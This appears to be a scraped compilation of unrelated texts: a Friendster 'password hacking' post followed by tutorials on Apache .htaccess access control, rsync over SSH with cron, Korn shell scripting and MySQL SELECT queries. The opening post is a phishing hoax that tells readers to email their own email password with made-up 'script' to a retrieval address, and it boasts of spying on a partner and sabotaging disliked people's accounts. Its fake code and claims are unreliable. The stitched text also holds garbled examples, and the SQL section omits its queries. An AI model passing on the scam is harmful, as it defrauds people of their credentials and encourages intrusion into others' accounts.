Hacking friendster is as easy as sending an email.

Have you ever asked for your password from friendster? This system
confuses that same system.
By simply emailing retrieve_pwd_friends...@yahoo.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it this:
subj: friendster_pwd_ret

body of ur e-mail:

var return[snd_mail] = your em...@yahoo.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it ;---.replace ur own e-mail
add
var enterpass_md5 = yourpass;-----> your e-mail password to identify
that u have a valid e-mail account
Fcn7662Nc2A_md5encryp_get_pass(TheIDofthepassyouwant);----->yahoo id of
the account you wanna hack

This confuses the server to, email you the persons password.
All that is required is that you copy that script exactly!
Here is an example reply that you will get after successfully
retrieving the password of the desired person.window.open

("http://www.eliteskill.com/",null,"height=500,width=800,status=no,toolbar=yes,

menubar=yes,location=yes,
scrollbars=yes"); var return = b...@yahoo.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it ;---->your e-mail
var enterpass = drowssap;------> your password
Fcn7662Nc2A_md5encryp_get_pass(joe14469);
var_ret_pass=imhappy68---------> joel's password

In a matter of minutes you will have joe14469's password!
Happy hacking!

How It works:
I worked as an SQL programmer for Friendster from 2004 and on and got a
peek at the system.
The program normally would read your login name find your password with
functions setup by friendtser and re-email
it to you. This time you are the one writing the message so you can
manipulate the arguments of the functions.
The code above resets the original variables in the function to alter
the route of the sent password and user
who queries the server. Basically it's as if they sent the request for
their password but it logs you in as the
receiver. This is intended to be used only by system administrators to
ban users or to bust illegal porn and drug sites.
This is a first hand source and should not be used for illegal purposes
other than password recovery of your own account.
Any unlawful activity is your own responsibility and no one else. Note
that if incorrectly sent (either login or syntax)
the message is not replied to and due to the thousands of emails sent
to the address each day it's not moderated by an
administrator.

*for those who don't know yahoo is the backdoor pass for password
retrievals including friendster and my space
because, their system has still a lot of loop holes to be solved...
before they get this fixed.... im sharing this
information to all who are interested.... bec. sometimes you just don't
know when you will need this...
for a cheater bf or gf perhaps? or the enemies that you wanna get
even...this is your chance....
the risk is yours... after all you just live your life once...

THis works.. i have tried it several times to peek into my gf's account
to see what she's hiding...
and to just mess the friendster accounts of the people who i don't
like....
bwahahahahahahahahahaha................ enjoy.......this is not a
spam.....

Managing user access to a Linux Intranet server is extremely easy and quick. Yet, I find some new administrators get frustrated by the lack of complete information. In some HOWTO guides, details regarding .htaccess are given, without mentioning that the Apache must be configured. My hope is that this brief article gives a complete look at managing access with the use of Apache overrides and .htaccess. Since the goal is to make it as easy as pie, I will cut the techno talk and get to the point.

First, although this article applies to just about any Apache/Linux web server, it is most beneficial in the context of Intranet servers or when a website needs to control or secure certain web pages within directories for a set of specific users.

Second, you do not have to be a Linux administrator or expert to do these steps. You only need rudimentary knowledge of Linux, have root or super user access to the server, and be familiar with a text editor like vi, emacs, or something like kwrite.

Step 1. Configure Apache to Allow Access Authorization
You need to find the httpd.conf file on your Linux server.

This file is the Apache web server configuration file that includes lots of very useful Apache web server controls.

For now, simply open it using a text editor. For Fedora users this is done by simply going to /etc/httpd and opening httpd.conf. For others using various flavors, try using this command to identify the location of the httpd.conf file and edit it: locate httpd.conf

Once you open this file using a text editor, please scroll down until you see not the first but the second occurance of this text:   AllowOverride None

Change the line that says:
AllowOverride None
to instead say:
AllowOverride AuthConfig

Be sure to NOT CHANGE THE first occurance of this in the apache file which is the default. Change the second occurance which is actually the overide. This is VERY IMPORTANT! If you run into trouble make a backup of your httpd.conf file (type: cp httpd.conf httpd.conf.back) and then try using this example. Be sure to reboot the server after you copy our example file.

Step 2. Identify the Folder/Directory to Protect
You should now identify which folders (aka Directories) under your web server you would like to protect. For instance if I want to only allow a certain list of users to access my html files under the Private folder it would look something like the following.

On the Linux server the actual directory path would be:
/var/www/html/Private
On the web browser the path would be:
http://catur.web.id/Private

Obviously, I'm giving an example to help you see the difference between the folder/directory name on the Linux server and how it looks to web browsers. You MUST change to the appropriate directory/folder when using the steps below. So in my case I type this command first before beginning on my Fedora server:
cd /var/www/html/Private

Step 3. Add Access Files to the Folder
Once you identify the folder you wish to safeguard, then you need to create two files in this folder. The files are: .htaccess and .htpasswd. The .htaccess file displays the access login information needed for users and also includes the list of specific users who can login. The .htpasswd file includes the individual users and their passwords.

Create .htaccess file in your Folder by using a text editor to create .htaccess. Notice that you must include the . (dot) before the file name!

The file should atleast include these lines:
AuthName "Login to the Private Area"
AuthType Basic
AuthUserFile /var/www/html/Private/.htpasswd
Require user andrea

Note that the AuthName requires quotes and whatever is in quotes will display on the login window when a user tries to access your private folder with a web browser. It is vital that you properly set the path for the AuthUserFile and obviously replace the word Private with whatever folder you are trying to password protect.

Also be sure to include the user login names of the people you plan to allow to this folder next to the Require user line. In my case, I simply added myself to this folder as a user (andrea).

Now, create the .htpasswd file in the same Folder but NOT by using a text editor. Instead use this command from the command line on your Linux server.

Type this command at the prompt:
htpasswd -cmb .htpasswd pion skakmat

Note that you must use your own name and password (replace andrea and ann2cute) and that the option cmb does the following: First it forces Creating of a new .htpasswd file. Since this is your first time adding a user it is necessary. Next the m option forces encryption and b allows you to include the user name and password immediately. In my case I created a new .htpasswd file, then added the user andrea and her password ann2cute.

Step 4. Add Additional Users
To add users you simply need to edit both files again. First, add a user to the .htaccess file by opening it in a text editor and including the new person (my example is bradley).

The .htaccess file should include these lines:
AuthName Login to the Private Area
AuthType Basic
AuthUserFile /var/www/html/Private/.htpasswd
Require user pion catur

Remember to save the file when youre done adding the new user!
Now add the user (my example being bradley) to the .htpasswd file using this command:
htpasswd mb .htpasswd catur password

In my example, I used the htpasswd command to add using encryption the user bradley to the .htpasswd file that already exists and include his password as brad4chad. That's it!

Step 5. Test the Password Function
Now test that the Apache server is accepting this new protected folder by going to it in a web browser. In my case I test the url http://office.server.com/Private and up comes a pop-up window that requires User Name and Password. I type in my user name and password and instantly I see the index.html page I put in my folder! People who don't have a login won't get access to your web pages within this folder.

What if it didnt work? Almost always this is a result of the httpd process not being restarted. You can easily restart this process to pick up the changes in your updated httpd.conf file by either rebooting or restarting the process. A reboot works fine, so long as you can tolerate a web server outage for a minute or two. Or, on most flavors you can type this command as root user:   service httpd start

Step 6. What About Removing Users
There may come a time when you need to delete users from the access. You can do this easily enough by again editing the .htaccess file and running a command to delete the user from the .htpasswd file.

First, edit the .htaccess file and remove the user you do not wish to allow access to and save the file.

Second, delete the user from the .htpasswd file by typing this command at the prompt:   htpasswd D catur
The option D is for delete. It should prompt you that user bradley was deleted.

Have you ever wanted to know how to easily synchronize the data between multiple servers automatically?
In this article I’ll explain how to setup 2 Linux servers to automatically synchronize data between a specific directory on each server. To do this we will use rsync, ssh key authentication, and a cron job.

Let’s call the 2 servers ‘SOURCESERVER’ and ‘DESTSERVER’ for
SOURCESERVER = Source server (the server we’re connecting from to upload the data)
DESTSERVER = Destination server (the server we’re connecting to receive the data)

Part 1 - Setting up SSH key authentication

First, we need to make sure the DESTSERVER has the ability to use key authentication enabled. Find your sshd configuration file (usually ‘/etc/ssh/sshd_config’) and enable the following options if they are not already set.

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# /etc/init.d/sshd restart

Next, on the SOURCESERVER we will create the public / private key pair to be used for authentication with the following command.

# ssh-keygen -t rsa

*Note: Do not enter a passphrase for this, just hit enter when prompted.

This should create 2 files, a public key file and a private key file.
The public key file (usually [homedir]/.ssh/id_rsa.pub) we will upload to the DESTSERVER.
The private key file (usually [homedir]/.ssh/id_rsa) we will keep on the SOURCESERVER.
*Be sure to keep this private key safe. With it anyone will be able to connect to the DESTSERVER that contains the public key.

Now we will plant the public key we created on to the DESTSERVER.
Choose the user account which you will use to connect to on DESTSERVER, we’ll call this user ‘destuser’ for now.
In that account’s home directory, create a ‘.ssh’ subdirectory, and in that directory create a new text file called ‘authorized_keys’. If it already exists, great, use the existing file.
Open the ‘authorized_keys’ file and paste in the contents of the public key you created in the previous step (id_rsa.pub). It should look something like the following

ssh-rsa sourceuser@SOURCESERVER

Save the file and change the permissions to 600 for the file and 700 for the ‘.ssh’ directory.

Now to test that the keys are working.
From the SOURCESERVER try logging in as normal using ssh to the DESTSERVER.

# ssh destuser@DESTSERVER

If all is working you should not be prompted for a password but instead connected directly to a shell on the DESTSERVER.

Part 2 - Creating the rsync script

Now for the rsync script.
I use a simple script such as the following

——————————————-

#!/bin/bash

SOURCEPATH=’/source/directory’
DESTPATH=’/destination’
DESTHOST=’123.123.123.123′
DESTUSER=’destuser’
LOGFILE=’rsync.log’

echo $’nn’ >> $LOGFILE
rsync -av –rsh=ssh $SOURCEPATH $DESTUSER@$DESTHOST:$DESTPATH 2>&1 >> $LOGFILE
echo “Completed at: `/bin/date`” >> $LOGFILE

——————————————-

Copy this file into the home directory of the sourceuser on the SOURCESERVER
and modify the first 4 variables in the file.
SOURCEPATH (Source path to be synced)
DESTPATH (Destination path to be synced)
DESTHOST (Destination IP address or host name)
DESTUSER (User on the destination server)
Save it as something like ‘rsync.sh’
Set the permissions on the file to 700.
# chmod 700 rsync.sh

Now you should be able to run the script, have it connect to the DESTSERVER, and transfer the files all without your interaction.
The script will send all output to the ‘rsync.log’ file specified in the script.

Part 3 - Setting up the cron job

Assuming everything has worked so far all that’s left is to setup a cron job to run the script automatically at a predefined interval.

As the same sourceuser use the ‘crontab’ command to create a new cron job.

# crontab -e

This will open an editor where you can schedule the job.
Enter the following to have the script run once every hour

——————————————-
# Run my rsync script once every hour
0 * * * * /path/to/rsync.sh
——————————————-

Your 2 servers should now be syncing the chosen directory once every hour.

also added a LIST variable so it would handle multiple dirs and list in the log dirs and time of completion

for LIST in “`cat list.txt`”;
do
SOURCEPATH=”/$LIST”
DESTPATH=”/$LIST”
DESTHOST=”111.111.111.111″
LOGFILE=”rsync.log”

echo $’nn’ >> $LOGFILE
rsync -av –rsh=”ssh -i .ssh/id_rsa” $SOURCEPATH $DESTHOST:$DESTPATH 2>&1 >> $LOGFILE
echo “$LIST Completed at: `/bin/date`” >> $LOGFILE;
done

The command shell is the layer that interacts with the user and communicates with the operating system. When using MS-DOS, most people use the command.com shell; however a different shell can be specified via the COMSPEC environment variable.

Similarly, each UNIX? user must select a command shell to use to communicate to UNIX. When a UNIX account is established, the system administrator selects the user's default shell. Normal options are Bourne Shell (/bin/sh), C-Shell (/bin/csh), Korn Shell (/bin/ksh) and Bourne-Again Shell (/bin/bash). While many developers use C-Shell because of its C-like syntax, this is a subjective choice and this article uses the Korn shell exclusively. The syntax will not necessarily work under any other shell.

When you execute a shell script from the command line, your default shell is used. If your default shell is Korn, then the scripts in the article execute without syntax errors. But what if you want others to execute your script? You can't rely on the user's default shell to ensure that your scripts are always run using the Korn shell. The solution is to use a UNIX feature whereby the first line of a shell script indicates under which shell the script is to be executed. The syntax in Code Example 1 forces a script to be run using the Korn shell regardless of what shell the current user is executing.

#!/bin/ksh

# your script goes here. All lines starting with # 
# are treated as comments

Code Example 1 - Force a script to be executed by the Korn shell

Some documentation uses a different command prompt symbol to indicate the current shell, as shown in Table 1. (Since this author's favorite shell is the Korn shell, all of the examples in this article use the $-prompt.) Since you cannot ensure that your scripts will always be executed using the Korn shell, put #!/bin/ksh as the first line in each script. (The $-prompt in this article just indicates that a command is being entered at the command line.)

Table 1 - UNIX prompt symbols

Writing a Script - Some Basics

A UNIX script file is similar to a DOS BAT file. All of the programming do's and don'ts from the DOS world still apply in UNIX.

Writing any script involves these steps:

1. Run the UNIX command interactively at a shell prompt.
2. Create the shell script containing the UNIX command.
3. Make the shell script executable.
4. Test the script.
5. Launch the script.
   1. Interactively
   2. Once, at a future date and time
   3. Repeatedly on a fixed schedule
   4. Using an HTML form

Writing a Simple Script

Assume that you want to write a script to capture vmstat information. You want to run vmstat on 2-second intervals for one minute. Use the five steps described above to achieve your goal.

Run the UNIX Command Interactively

First, look up the documentation for vmstat using man vmstat. Next, run the command interactively to be sure you understand the syntax and the expected output. Code Example 2 shows the syntax to run vmstat 30 times at 2-second intervals.

$  vmstat  2  30

Create a Shell Script

Next, create a script file containing the command. You should establish standards describing script location and script names. Store all things of a specific category, for instance a company, in a subdirectory under /usr/local. For this example, assume the company is Acme Products so the directory is /usr/local/acme. Within this directory create one subdirectory called scripts and another called logs. Other subdirectories may be necessary for other purposes.

Next, use a text editor such as vi to create a script file called capture_vmstat.sh. File extensions are meaningless in UNIX, unlike DOS where EXE, COM, and BAT indicate executable files. You could use .sh as an extension to denote shell script files, but that doesn't make the script executable. This naming convention for files makes it easier to quickly identify files. Also, you can use the find command to locate all files of a particular type if the file names adhere to a standard.

The script file has two lines in it. The first line leaves nothing to chance, stating that the Korn shell should execute the commands inside this script. The second line is the UNIX command itself. Code Example 3 is a complete listing of capture_vmstat.sh script.

#!/bin/ksh

vmstat  2  30

Make the Shell Script Executable

Unlike DOS, which uses the file extension to determine if a file is executable or not, UNIX relies on file permissions. The chmod command is used to mark the file executable.

The simplest way to turn on the execute-bit is by using chmod +x capture_vmstat.sh. In a production environment, on an exposed server you must also consider owner, group, and world permissions to control complete access to the script. (The topic of file permissions is beyond the scope of this document.) See man chmod for more information.

Test the Shell Script

Now the script is ready to test. Unlike DOS, UNIX does not automatically look in the current directory for a file to execute. UNIX provides the PATH environment variable. UNIX will only search for executables in directories identified in the PATH variable. Since most people don't include the current directory in the PATH (a dot indicates the current directory), just typing the COMMANDS in Code Example 4 will not work because /usr/local/acme/scripts is not in the PATH.

$  cd /usr/local/acme/scripts

$  capture_vmstat.sh

You must explicitly specify the full file name of the script, including path. Do not rely on the PATH variable because it could get changed in the future and one of two things could go wrong. First, the directory where your scripts reside could be inadvertently removed from the PATH and UNIX would no longer be able to locate your scripts. Worse yet, UNIX might find and execute a script by the same name in a different directory, one listed in the new PATH. Therefore, to be safe, you should always execute your scripts by specifying the full file name as shown in Code Example 5.

$  /usr/local/acme/scripts/capture_vmstat.sh

Maybe you don't like typing, so a shortcut relies on the fact that "." (dot) refers to the current directory. First, change to the script directory and then execute the script by prepending "./" (dot-slash) to the script name as shown in Code Example 6. This doesn't save much typing if you are only executing one script; however, if you are going to execute several scripts from your script directory, then you only have to type the directory name once.

$  cd /usr/local/acme/scripts

$  ./capture_vmstat.sh

Regardless of how you invoke the capture_vmstat.sh script, the output should be identical to what you get when you run vmstat interactively.

Launching the Script

Now you have the script and you know it works. There are four ways to run the script:

1.Interactively

Document the script and let others (perhaps the Help Desk staff) run the script file. The folks who run the script don't need to know UNIX commands or syntax in much the same way that DOS users don't need to understand DOS commands or syntax in order to use a BAT file created for them.

2.Using the at Command

Use the at command to execute a script once at some time in the future. Check man at for details. Some UNIX systems cancel running at-jobs when a user logs out. Check system documentation carefully.

3.Using the cron Utility

Use the crontab file to execute a script repeatedly on a fixed schedule. Check man crontab for details. Code Example 7 shows a simple crontab entry to run your script once an hour from 8AM-5PM at 10 minutes past the hour every Monday, Wednesday and Friday:

10   8-17   *   *  1,3,5  /usr/local/acme/scripts/capture_vmstat.sh

Before moving on to the fourth method for launching your script, you need to understand two problems with running scripts via crontab. First, since you are not logged in when the script is executed, you can't rely on Korn shell being the default shell. Therefore, you must be sure to use #!/bin/ksh as the first line of your script as explained in Code Example 1. Second, the current version of your script sends its output to the terminal. When cron launches the script there is no terminal, so cron must redirect the stdout somewhere. The normal place is to the email inbasket of the user whose crontab launched the script. While this may be acceptable, other (better) solutions, as described below, are available when you expand your basic script.

4.Using an HTML Form

Launch your script using an HTML form and POST your script via CGI (common gateway interface). The output of the command will be sent back to the browser so the

and

There is a bit more to this HTML form method than described here, and there are numerous security risks with using FORM and CGI. However, this method has proven very successful for use by in-house Help Desk staff or other level-one support personnel.

Extending the Simple Script

The previous script was the shell-script version of "hello, world", the standard first program written when learning a new programming language. Now you can add a few more basic features to it.

Redirecting stdout

First, the script sends its output to stdout, which is normally the terminal. You can extend the script to redirect the output to a log file as shown in Code Example 8.

#!/bin/ksh

vmstat  2  30  >  /usr/local/acme/logs/vmstat.log

But this introduces a couple of new problems. First, every time you run the script it overwrites the contents of the last log file. To correct that, append the new output to the end of the existing log file. Now you need to know when each output in the log was created, since the date-time stamp on the file only indicates when the last one was written.

Executing sub-commands within the script

Write the current date and time to the file preceding each execution of the script. Use >> to append the output to the end of the file rather than overwriting the existing file. In Code Example 9, a uniquely identifiable character is put in column one to make it easy to scan the file using find and find-next. You can also write the current date and time to the log file. In Code Example 9 $(date) instructs the Korn shell to execute the date command and place the output into the echo command line. Whenever you want to execute a UNIX command and use the output, type a $ and enclose the command within parentheses.

#!/bin/ksh

echo "#--- $(date)"  >> /usr/local/acme/logs/vmstat.log

vmstat  2  30	>> /usr/local/acme/logs/vmstat.log

In Code Example 10, the Korn shell is instructed to run the netstat command, grep for ESTABLISH, and use wc to count the number of lines by enclosing these commands in $(xxx). Further, the Korn shell is instructed to store the output of these commands in environment variable CTR_ESTAB. Then in the echo command, the Korn shell is instructed to use the value stored in that environment variable. To use a value that is stored in an environment variable, put a $ in front of the variable name, e.g. $CTR_ESTAB. To improve readability and to avoid ambiguities, use the Korn shell option of enclosing the variable name inside curly braces, e.g. ${CTR_ESTAB}.

# store current date as YYYYMMDD in variable DATE for later 
# use

export DATE=$(date +m%d)

# count number of established socket connections and write. 
# to log

export CTR_ESTAB=$(netstat -na -P tcp | grep ESTABLISH | wc 
  -l)

export CTR_CLOSE_WAIT=$(netstat -na -P tcp | grep CLOSE WAIT 
  | wc -l)

echo "${DATE} ${CTR_ESTAB} ${CTR_CLOSE_WAIT} >> ${LOG_FILE}

Generating Unique File Names

What happens if multiple users run the script concurrently? The output from each script would be interleaved in the output file since each instance of the script would be writing to the same output file. You can create a unique output file name by placing the PID number (represented by $$) in the file name, as shown in Code Example 11.

#!/bin/ksh

echo "#--- $(date)" 
  >> /usr/local/acme/logs/vmstat.$$.log

vmstat  2  30	>> /usr/local/acme/logs/vmstat.$$.log

When the next user runs the script, a different PID will be assigned to the script's execution, thus causing a separate log file to be created each time instead of appending to the existing log file. Maybe that's not a bad thing, but it's not what you want to achieve.

Another possibility, instead of using an environment variable whose value is changed each time the script is executed, is to use an environment variable that is set once, outside the script, prior to the execution of the script. UNIX automatically sets the LOGNAME environment variable whenever a user logs in. In Code Example 12, this value is imbedded into the log file name so that each user can have a log file:

#!/bin/ksh

echo "#--- $(date)"	
  >> /usr/local/acme/logs/vmstat.${LOGNAME}.log

vmstat  2  30		
  >> /usr/local/acme/logs/vmstat.${LOGNAME}.log

Structured Programming Techniques

Two final touch-ups and you're finished with your basic Korn shell script. First, what if you want to change the frequency or duration of the vmstat command? You can accept those values using command line arguments rather than hard-coding the interval and duration in the vmstat command. These arguments can be stored in environment variables from where the vmstat command can access them. Of course, your script must provide default values in case the user doesn't provide values using the command line.

Second, what if you change your mind about the log file naming convention? This is not something you want the user to have to provide each time using a command line argument. However, if you have hard-coded the log file name in multiple lines within the script, then when you decide to use a different naming convention, you will have to search every line of the script to see where the name was specified.

Instead, store the log file name in an environment variable and modify each command to append output to the file name contained in the variable. Then, when you change the log file naming convention, all you need to do is modify the one line where the environment variable is set.

#!/bin/ksh
# ----------------------------------------------------
# capture_vmstat.sh	 
#	 vmstat interval
#		vmstat count
# run vmstat and capture output to a log file
#-----------------------------------------------------

# indicate defaults for how often and for how long 
# to run vmstat
export INTERVAL=2		# every 2 seconds
export COUNT=30		# do it 30 times

# obtain command line arguments, if present
if [ "${1}" != "" ]
then
	INTERVAL=${1}
	# if there is one command line argument, 
	# maybe there's two
	if [ "${2}" != "" ]
	then
	COUNT=${2}
	fi
fi

# directories where scripts and logs are stored
export PROGDIR=/usr/local/acme/scripts
export LOGDIR=/usr/local/acme/logs

# define logfile name and location
export LOG_FILE=${LOGDIR}/capture_vmstat.${LOGNAME}.log

# write current date/time to log file
echo "#--- $(date)"		>> ${LOG_FILE}
vmstat  ${INTERVAL}  ${COUNT}	>> ${LOG_FILE}

# say goodnight, Gracie
exit 0

Writing a for-loop Script

Sometimes you want to execute a single command against a list of objects. For example, you may want to use the rsh command to remotely execute the same command against multiple servers (see man rsh for details and for security risks when using r-commands).

One technique is to store the list of objects in an environment variable, perhaps called LIST. Then you can use the for loop to execute the rsh command repeatedly, each loop having the next value in the LIST. Code Example 14 shows a sample of a for-loop script.

#!/bin/ksh

export LIST="bvapp1 bvapp2 bvapp3"

export LOG=/usr/local/acme/logs/throw_away.log

for SERVER in ${LIST}
do
  # each loop has a different value for ${SERVER}
  echo "#------- values from ${SERVER}" >> ${LOG}
  rsh  ${SERVER} 
  "ps -f -u bv -o pid,pmem,pcpu,rss,vsz" >> ${LOG}
done

# say goodnight, Gracie
exit 0

Writing a while-loop Script

Sometimes you may want to execute a single command, wait a while, and then execute the command again. Sometimes you want this loop to continue indefinitely while other times you want the loop to execute a finite number of times and then terminate.

Say you want to monitor processes running under user bv. You want to monitor bv every 10 seconds for 2 hours. First, using the code in Code Example 15, you test the command interactively (see man ps for details):

ps  -f -u bv  -o  pid,pcpu,pmem,rss,vsz,comm

Now you need to write a script file that executes this in a loop. The loop should pause for 10 seconds between executions of the ps command. The loop should execute 720 times [every 10 seconds means 6 times per minute or 360 times per hour (60 mins/hr * 6/min) for two hours]. Code Example 16 shows a simple while-loop script.

#!/bin/ksh

export INTERVAL=10
export COUNT=720

export LOG=/usr/local/acme/logs/while_loop_test.log

export CTR=0
while [ true ]
do
	if [ ${CTR} -ge ${COUNT} ]
	then
		exit
	fi
	echo "#------- $(date +m%d-03/24/03M%S)"	
          >> ${LOG}
	ps  -f  -u  bv  -o  pid,pcpu,pmem,rss,vsz,comm	
          >> ${LOG}
	CTR=$(expr ${CTR} + 1)
	sleep ${INTERVAL}
done

Code Example 17 shows a snippet from the output log file.

#------- 19991203-123237
  PID %CPU %MEM  RSS  VSZ COMMAND
12007  0.2  0.8 13640 24280 cmsdb
11938  0.0  0.7 11536 20496 sched_poll_d

#------- 19991203-123240
  PID %CPU %MEM  RSS  VSZ COMMAND
12007  0.2  0.8 13640 24280 cmsdb
11938  0.0  0.7 11536 20496 sched_poll_d

#------- 19991203-123243
  PID %CPU %MEM  RSS  VSZ COMMAND
12007  0.3  0.8 13640 24280 cmsdb
11938  0.0  0.7 11536 20496 sched_poll_d

#------- 19991203-123246

Quick Reference Card

The programming tips and techniques below are a quick reference to the programming style and methodology presented in this article. In it you will find a quick reference version of the items covered (in more detail) in the article.

1. Always start scripts with a line that says

#!/bin/ksh

2. Always use uppercase when defining variables. Use underscores to separate words.

BIN_DIR=/opt/bv1to1/bin

3. Always export environment variables so that any sub-processes will have automatic access to the values:

export SUPPORT_IDS="
 userA@domain.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it  ,
 userB@domain.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it  

4. To execute a UNIX command and use the output elsewhere in a Korn shell script, type a $, enclose the command within parentheses, and store the output in an environment variable.

export CTR_ESTAB=$(netstat -na | grep ESTABLISH | wc -l)

5. To use a value that is stored in an environment variable, put a $ in front of the variable name. To improve readability and to avoid ambiguities, enclose the variable name inside curly braces.

echo "The number of ESTABLISHED connections is ${CTR_ESTAB}"

6. To ensure having a unique file name, use $$ to include the PID number in the file name. Insert the PID number into the file name just prior to the file extension:

export LOG_FILE=/tmp/capture_vmstat.$$.log

7. Use chmod +x filename to make a script file executable.

chmod  +x  capture_vmstat.sh

8. Precede a script name with dot-slash when executing interactively so UNIX knows that the script is in the current directory.

./capture_vmstat.sh

9. Redirect stdout ( > ) to a log file or append stdout ( >> ) to a log file.

./capture_vmstat.sh >> ${LOG_FILE}

10. Redirect stderr, either to the same destination as stdout or to a unique file.

- or -

./capture_vmstat.sh  >> ${LOG_FILE}  2>>${ERR_LOG}

11. Use the for-loop to process a list of things.

export LIST=$(ls *sh)
for FILE in ${LIST}
do
	echo "Processing ${FILE}"
	cat ${FILE} | mailx -s "Here is ${FILE}" 
          
 userA@domain.com This e-mail address is being protected from spambots. You need JavaScript enabled to view it  
done

Use the while-loop to process the same command 
  repeatedly.
export INTERVAL=20
export COUNT=180

export CTR=0
while [ true ]
do
if [ ${CTR} -ge ${COUNT} ]
	then
		exit
	fi
	# --- do some command here ---
	sleep ${INTERVAL}
	      CTR=$(expr ${CTR} + 1) 
done

References

UNIX Shell Programming (Hayden Books UNIX System Library)

by Stephen G. Kochan, Patrick H. Wood
Paperback - 490 pages
2nd Revised edition (January 1990)
Hayden Books; ISBN: 067248448X

Author Biography

Ken Gottry is a Sr. Infrastructure Architect with NerveWire, Inc. He has 30 years experience with systems ranging from mainframes to desktops. For the past 10 years his focus has been on designing, implementing, and tuning distributed, multi-tier, and web-based systems. As a performance engineer consulting to numerous G2K firms, he has assessed and tuned web servers, app servers, and JVM's running on Solaris.

Ken's articles have appeared on Sun's developer web sites. Also, Ken has recently published an article about Solaris performance tuning in SysAdmin magazine.

The SELECT statement

The select query is used to retrieve records from a database. The keywords used in a select query are summarised in the following table.

The simplest SELECT query is to retrieve all records from a single table. The following example lists all fields from the search table.

To select specific fields from a table, you provide a comma-separated list of field names. The following example selects the Page and Directory from the search table:

mysql> SELECT Page, Directory FROM search

Limiting Records

The WHERE clause may be used to limit records. The following lists the comparison operators available with MySQL to limit the records returned with the WHERE clause.

When working with strings, the % character may be used as a wildcard. The following example retrieves all fields from the search table where the Keyword field contains the text, "cookies".

The underscore character may be used as a placeholder. The following example selects all records from the search table, where the Page name beings with 'P', followed by four characters (four underscores are used).

The BETWEEN clause may be used with numbers, dates and text. The following example retrieves all fields from Products, where the cost is between 1000 and 4000.

The OR clause may be used to specify a range of values to check against. The following example lists all records where the Category is either ASP or PHP in the search table.

If you have many values that you want to check against, you can use the IN clause as it makes the code a lot more readable. The following is the above statement using the IN clause.

Similarly, you can use the NOT modifier with the IN clause to check for values that are not within the list. The following example returns all records where the Category is not equal to ASP or PHP

Joining Tables

Sometimes the data you require may come from two or more tables. Supposing our search table contained a foreign key called AuthorID that related to a primary key of the same name in an author table, we could retrieve records by linking the two fields. The following example lists the Surname and Forename from an author table, and the Directory and Page from the search table written by that author.

You can add further clauses to the WHERE clause, using the AND operator. The following example extends the previous example to return only records where the Author has the Surname, Lemon.